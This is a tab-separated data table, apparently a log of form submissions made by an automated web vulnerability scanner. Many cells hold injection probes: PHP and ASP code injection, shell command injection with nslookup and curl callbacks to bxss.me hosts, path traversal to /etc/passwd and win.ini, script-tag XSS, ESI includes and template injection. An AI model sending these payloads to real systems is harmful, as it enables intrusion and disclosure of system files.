1	${@print(md5(31337))}	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	<!--	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	"12345'""\'\"");|]*%00{%0d%0a<%00>%bf%27'💡"	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	qKdXopAZ: 6hmXtmEX	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	19781387	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	(select 198766*667891)	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	../../../../../../../../../../../../../../etc/passwd	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	../../../../../../../../../../../../../../windows/win.ini	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	response.write(9915894*9266400)	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"&echo xqtige$()\ icraop\nz^xyu||a #' &echo xqtige$()\ icraop\nz^xyu||a #|"" &echo xqtige$()\ icraop\nz^xyu||a #"	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"|echo tpjysk$()\ rlmlah\nz^xyu||a #' |echo tpjysk$()\ rlmlah\nz^xyu||a #|"" |echo tpjysk$()\ rlmlah\nz^xyu||a #"	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	expr 9000881291 - 913677	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	(nslookup -q=cname hitpptohjfaaad1e63.bxss.me||curl hitpptohjfaaad1e63.bxss.me))	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	$(nslookup -q=cname hitlelmdiwfsua5bdf.bxss.me||curl hitlelmdiwfsua5bdf.bxss.me)	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"&nslookup -q=cname hitupqfqfnucf88508.bxss.me&'\""`0&nslookup -q=cname hitupqfqfnucf88508.bxss.me&`'"	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	19448483	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	;(nslookup -q=cname hittvrdhhelql812b7.bxss.me||curl hittvrdhhelql812b7.bxss.me)|(nslookup -q=cname hittvrdhhelql812b7.bxss.me||curl hittvrdhhelql812b7.bxss.me)&(nslookup -q=cname hittvrdhhelql812b7.bxss.me||curl hittvrdhhelql812b7.bxss.me)	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	VWAxcHhL	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	response.write(9506371*9820621)	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"&(nslookup -q=cname hitzsxllrefczfa6c3.bxss.me||curl hitzsxllrefczfa6c3.bxss.me)&'\""`0&(nslookup -q=cname hitzsxllrefczfa6c3.bxss.me||curl hitzsxllrefczfa6c3.bxss.me)&`'"	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	ugeTjQ8a: t1psW66v	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	'+response.write(9506371*9820621)+'	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	|(nslookup -q=cname hittvmaeussot00ceb.bxss.me||curl hittvmaeussot00ceb.bxss.me)	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	response.write(9421278*9480635)	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	;(nslookup -q=cname hitengxeqtsdb6c729.bxss.me||curl hitengxeqtsdb6c729.bxss.me)|(nslookup -q=cname hitengxeqtsdb6c729.bxss.me||curl hitengxeqtsdb6c729.bxss.me)&(nslookup -q=cname hitengxeqtsdb6c729.bxss.me||curl hitengxeqtsdb6c729.bxss.me)	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	"""+response.write(9421278*9480635)+"""	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"&(nslookup${IFS}-q${IFS}cname${IFS}hityrlwobhwzf8bb54.bxss.me||curl${IFS}hityrlwobhwzf8bb54.bxss.me)&'\""`0&(nslookup${IFS}-q${IFS}cname${IFS}hityrlwobhwzf8bb54.bxss.me||curl${IFS}hityrlwobhwzf8bb54.bxss.me)&`'"	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	fP7PT6yV	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	YLhsPKZ4: 58sMaguH	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	../../../../../../../../../../../../../../windows/win.ini	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	OZ2JbYAH	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	t6ISTnmI: BBrfCdLN	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	../../../../../../../../../../../../../../etc/passwd	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	response.write(9607568*9873798)	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	../../../../../../../../../../../../../../windows/win.ini	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	'+response.write(9607568*9873798)+'	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	file:///etc/passwd	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	"""+response.write(9607568*9873798)+"""	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	gy43THr8	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	aTUepBQp: rXXqZdik	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	../ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"94102<esi:include src=""http://bxss.me/rpb.png""/>"	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	${9999196+9999078}	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	"ncMUFCMU<esi:include src=""http://bxss.me/rpb.png""/>"	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	${9999083+9999582}	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	${9999545+9999296}	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"'""()&%<zzz><ScRiPt >cND2(9154)</ScRiPt>"	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	../../../../../../../../../../../../../../etc/passwd	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	941029590005	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	|(nslookup${IFS}-q${IFS}cname${IFS}hitanaqjrldmcd32b4.bxss.me||curl${IFS}hitanaqjrldmcd32b4.bxss.me)	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	../../../../../../../../../../../../../../windows/win.ini	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	bfg4600%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl4600	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	${10000007+9999865}	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	file:///etc/passwd	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	bfgx1236%C0%BEz1%C0%BCz2a%90bcxhjl1236	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	<%={{={@{#{${dfb}}%>	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	../1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	"1<esi:include src=""http://bxss.me/rpb.png""/>"	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"94102'""()&%<zzz><ScRiPt >cND2(9721)</ScRiPt>"	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	"ncMUFCMU<esi:include src=""http://bxss.me/rpb.png""/>"	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	dfb[[${98991*97996}]]xca	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	${10000276+10000044}	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	"ncMUFCMU<esi:include src=""http://bxss.me/rpb.png""/>"	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	${10000115+10000125}	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"""dfbzzzzzzzzbbbccccdddeeexca"".replace(""z"",""o"")"	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102'<IffMl>	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	${9999425+9999150}	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	19424263	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	"&echo qncobd$()\ bbaugc\nz^xyu||a #' &echo qncobd$()\ bbaugc\nz^xyu||a #|"" &echo qncobd$()\ bbaugc\nz^xyu||a #"	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	19679089412	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	expr 9000181253 - 911321	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	`(nslookup -q=cname hitprfsxqbjdbe1f6c.bxss.me||curl hitprfsxqbjdbe1f6c.bxss.me)`	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	;(nslookup -q=cname hithvyyfnerqg66a17.bxss.me||curl hithvyyfnerqg66a17.bxss.me)|(nslookup -q=cname hithvyyfnerqg66a17.bxss.me||curl hithvyyfnerqg66a17.bxss.me)&(nslookup -q=cname hithvyyfnerqg66a17.bxss.me||curl hithvyyfnerqg66a17.bxss.me)	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	';print(md5(31337));$a='	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	19558850	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	file:///etc/passwd	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	19652390	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	bxss.me/t/xss.html?%00	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	"|echo aogzjp$()\ gqndlq\nz^xyu||a #' |echo aogzjp$()\ gqndlq\nz^xyu||a #|"" |echo aogzjp$()\ gqndlq\nz^xyu||a #"	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	Http://bxss.me/t/fit.txt	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	19471859	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	';print(md5(31337));$a='	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	'.gethostbyname(lc('hitqo'.'necxuvpv5325e.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(110).chr(75).chr(99).chr(82).'	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	bxss.me/t/xss.html?%00	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	""";print(md5(31337));$a="""	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	${@print(md5(31337))}	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	""".gethostbyname(lc(""hitym"".""pukptohtb6917.bxss.me."")).""A"".chr(67).chr(hex(""58"")).chr(122).chr(66).chr(98).chr(83)."""	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	19466741
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	${@print(md5(31337))}\	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	gethostbyname(lc('hitlk'.'euehsbmyf06be.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(102).chr(89).chr(121).chr(90)	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	'.print(md5(31337)).'	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	19214490	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	HttP://bxss.me/t/xss.html?%00	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	"ncMUFCMU'""()&%<zzz><ScRiPt >cND2(9087)</ScRiPt>"	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	"'""()&%<zzz><ScRiPt >cND2(9155)</ScRiPt>"	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU9575839	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	'.gethostbyname(lc('hitiy'.'zqfeswdl947d5.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(121).chr(73).chr(105).chr(80).'	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	../../../../../../../../../../../../../../etc/passwd	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	19429439	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	response.write(9308252*9411510)	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	"echo kbajzv$()\ xnhhtr\nz^xyu||a #' &echo kbajzv$()\ xnhhtr\nz^xyu||a #|"" &echo kbajzv$()\ xnhhtr\nz^xyu||a #"	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	"&echo bugoig$()\ rxgluu\nz^xyu||a #' &echo bugoig$()\ rxgluu\nz^xyu||a #|"" &echo bugoig$()\ rxgluu\nz^xyu||a #"	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	19765726	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	"|echo hhvktr$()\ ohdmnj\nz^xyu||a #' |echo hhvktr$()\ ohdmnj\nz^xyu||a #|"" |echo hhvktr$()\ ohdmnj\nz^xyu||a #"	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	"1'""()&%<zzz><ScRiPt >cND2(9843)</ScRiPt>"	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	../../../../../../../../../../../../../../etc/passwd	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	'.gethostbyname(lc('hitcs'.'iqajdchzdcaa4.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(101).chr(71).chr(100).chr(87).'	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	"'""()&%<zzz><ScRiPt >cND2(9757)</ScRiPt>"	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	../1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
